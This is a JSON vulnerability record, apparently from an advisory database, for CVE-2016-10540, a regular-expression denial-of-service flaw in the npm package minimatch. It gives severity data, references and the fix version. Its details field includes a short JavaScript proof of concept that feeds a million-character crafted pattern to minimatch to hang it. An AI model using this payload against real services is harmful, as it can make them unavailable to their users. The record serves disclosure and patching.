{"id":"CVE-2016-10540","aliases":["GHSA-hxm2-r34f-qmc5"],"url":"https://o3.security/vulnerability/CVE-2016-10540","summary":"Regular Expression Denial of Service in minimatch","details":"Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i<=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.","published":"2018-05-31T20:29:01.457Z","modified":"2026-10-24T10:30:45.798722959Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"minimatch","fixedVersion":"3.0.2"}],"fix":null,"references":[{"type":"EVIDENCE","url":"https://nodesecurity.io/advisories/118"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10540"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hxm2-r34f-qmc5"},{"type":"WEB","url":"https://www.npmjs.com/advisories/118"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T10:30:45.798722959Z"}}